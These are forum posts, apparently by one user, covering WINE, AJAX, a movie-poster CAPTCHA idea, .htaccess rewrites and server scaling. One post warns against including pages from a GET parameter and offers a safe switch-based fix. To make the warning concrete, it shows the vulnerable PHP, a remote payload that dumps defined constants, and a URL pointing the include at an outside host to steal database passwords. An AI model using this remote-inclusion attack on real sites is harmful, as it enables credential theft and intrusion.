php_penguin

Hi Expat, There are ways to run Windows apps under Linux, using the application "WINE" (wine is not (a windows) emulator), which you will need to install after getting your new laptop. I am downloading the demo of Baseball Mogul as we speak, so I will tell you if it works. Be aware that my Linux machine is a lot more powerful than the Eee so even if it runs on mine, you might have a problem purely down to the specs of the Eee.

XAJAX might be overkill in this situation simply AJAX will do, if you don't need a reply from the server (other than a "yep, got it") take a look at jQuery's functions

Hi, You need to Google "Uploading files with PHP" - most tutorials should cover building the form, copying it to the desired location, renaming it, and making sure that the file extension and mime-type are all good.

not very much at all - it is pretty much exactly the same as using global variables

kinda straying away from the initial idea here the point of using movie posters was threefold - they are usually designed to be human-readable - they are usually designed to be visually attractive (and thus complex) - they require no editing, saving, or compositing Using the "ransom note" is really just a twist on the CAPTCHA, as the system still knows that the image only contains the text, and only that text. With a movie, there is a list of actors, the studio and producers names, and usually a tag line.

the ransom note idea could work quite well, especially if you rotate and scale the image sprites for each use. an expansion of the ransom note would be to color some of the letters, for example in red, and tell the user "type the red letters", or possibly "type any letters which aren't red"

RobH : what is complicated about the 'buntu install? It's a helluvalot easier than Windows installers...

yep I've seen that one - the only problem is that the system could merely "guess" which one is the cat, as there is a 1/3rd chance of getting it right. Even when there is a 3x4 grid, with 1 to 4 of the animal on it, and the animal can be any of 5 species, it is still (eventually) crackable. With this method, the CAPTCHA cracking system would need to *know* 10,000 different font styles...

hmm the copyright could be a problem, but I don't see that the bandwidth for RT would be huge problem - they must have a frickin huge server already, so a few people hotlinking is unlikely to bother them.

ok, just investigated this - RottenTomatoes would be the one to use, as they *always* have posters for the movies, especially ones from the last 10 years.

Hi there guys + girls, I was just thinking about CAPTCHAs (you know, enter some barely visible letters into a box for the 20th time), and I had an idea. The reason CAPTCHAs keep getting cracked is that all the ones on that site use a small number of fonts, and are distorted in a recognisable way... and so I thought "ok, random fonts" ... and then I saw a film poster. A big thought struck me (and ****ing hurt) - the movie industry are always using odd typography on film posters, not just odd fonts, but changing the scale of letters, overlaying them on images, and so on and so forth... and not only that, but there must be 100,000 film posters out there to choose from. So my idea is to make a script which grabs a random film (and associated poster) from IMDB or Rotten Tomatoes and ask the user to enter the name of the film... simple I can understand people wanting to see a proof of this before getting excited, but what do you guys think?

I'm sure you all know them from sight, but for those who don't know it by name, it is on here: http://www.famfamfam.com No, I'm not pointing out the obvious ... it's just that today I saw a site with icons on it, and found myself genuinely shocked and taken aback because the icons were not from the Silk set. So do you think they are overused? Obviously for good reason and all, but even so....

well you could always use a htaccess mode_rewrite to change www.mysite.com/mysite.php?c=about to www.mysite.com/page/about or www.mysite.com/about.html (would only work if there are NO other public .html files) at any rate, using a get straight off is a bed idea, because if you have a file structure like this: <?php include "allMyReallySecretSettings.php"; include "andMySQLPassword.php"; mysql_connect( ... ); include $_GET['c'].".php"; ?>... Then all I would need to is save this file to my server: <?php print_r( get_defined_constants( true ) ); ?> and then go to : www.mysite.com/mysite.php?c=http://www.richardlyon.co.uk/stealXandersStuff and I have your mysql passwords, maybe even your system passwords ... if I was a malicious sort I might be inclined to wipe your database, or change the contents so that every field is "Hacked by Sly Stalone" You really need to use aliases for names, so you could use a switch, like so: switch $_GET['c'] { case "about" : $page = "about.php"; break; case "contact" : $page = "contact.php"; break; default : $page = "home.php"; break; }

grr, silly ****ers releasing it with XP - the machine isn't fast enough to run XP in a meaningful way, but all the suppliers will pick up the XP (which will cost probably £300) leaving the nicer (as in, optimised for that machine) Linux at the wayside...

Hi there, This probably isn't much interest to non-developers, and probably isn't for developers who use pre-built CMS's, but this lovely product means you don't have to spend a few hours cocking around with cross-browser desing+coding. www.gooeytemplates.com - $99 (about £52) for a re-usable admin template. Over the course of even one project it easily pays for itself.

Well if the Air bombs then Apple will be forced to make a realistically specced/priced model. The annoying thing is that if any other company had made a laptop like the Air it would be a garuanteed failure, but bloody fanboys keep bolstering Apple up, stopping them from needing to innovate...

I do everything by hand - HTML, CSS, PHP, JS are all done in my OS's default text editor (called gedit, has syntax highlighting and various good features). In terms of CMS's I tend to avoid them, opting for my homebrew solution(s)

Apparently today is mothers day... and I am bored stiff Is anyone here the object of attention?

only if you had "</head>" on your neck...

Ok: just checked, you can use an URL as the image by changing the URL - not exactly "safe" but it'll do... also : http://www.richardlyon.co.uk/dice/index.ph...p;image=che.jpg

not sure what you mean... all the sets (3 at the moment) are generated by hand - they are sqaure, and can work at any size (technically). The smaller they are, the "closer" the image will be, but the longer it will take to generate. I have added an ITV logo, which works really well with the stripes.

http://www.richardlyon.co.uk/dice/ Mucking about with images, this very resource heavy script traverses an image and creates a replica from a set of 7 pre-supplied images. As you can see the Steven Hawking one doesn't work very well, and for a large part the dice are useless, but still pretty cool, yes? If you want to submit a set of images (7 in a set) to use as the tile, or an image to have posterised, just attach them here...

Hi there BlueDreamer, if you want to switch to PHP without buggering about with changing links, you can use a .htaccess to automatically redirect people from html to php. Save this into a file called ".htaccess" and upload to the root - it will redirect all html extensions to PHP. RewriteEngine on RewriteRule ^(.*).html$ $1.php [L] The other option is to automatically parse HTML as PHP, using this htaccess file: AddType application/x-httpd-php .html .php .htm addhandler application/x-httpd-php .html .php

It depends entirely on the server. Most servers approaching their limit will just go really slowly, and if it gets particularly pronounced some users will start experienced timeouts - ie the server replies so slowly that browsers thinks there is a 404. There is no easy way to figure out a servers capacity, although it is safe to say that the WDF one would bottle it well before 1 million hits a day.

1st thing to do in this case is switch to a dedicated physical server which is used only by your site. This means you have the full capabilities of both the bandwidth, connection limits, and power of that server, rather than sharing between 20 other sites. If this does not improve the load (or the site grows further) you would need to get two servers, usually one to host html+mysql on, and one to host large files (images). The first server (html/db) needs to be able to handle lots of connections quickly, whilst the large files one needs to have a large bandwidth limit. If the site grows further still, you can diverge to 3 servers (html, mysql, images), and if required you can split the large files across servers (using a SATA RAID replication or similar), and can also do so with the MySQL by its own replication technologies (surprisngly easy to set up). The key lesson to learn, however, is that lots of small and cheap servers will be better than a small number of ultra-high-spec servers - after all, if one server goes down you would be screwed with the expensive one.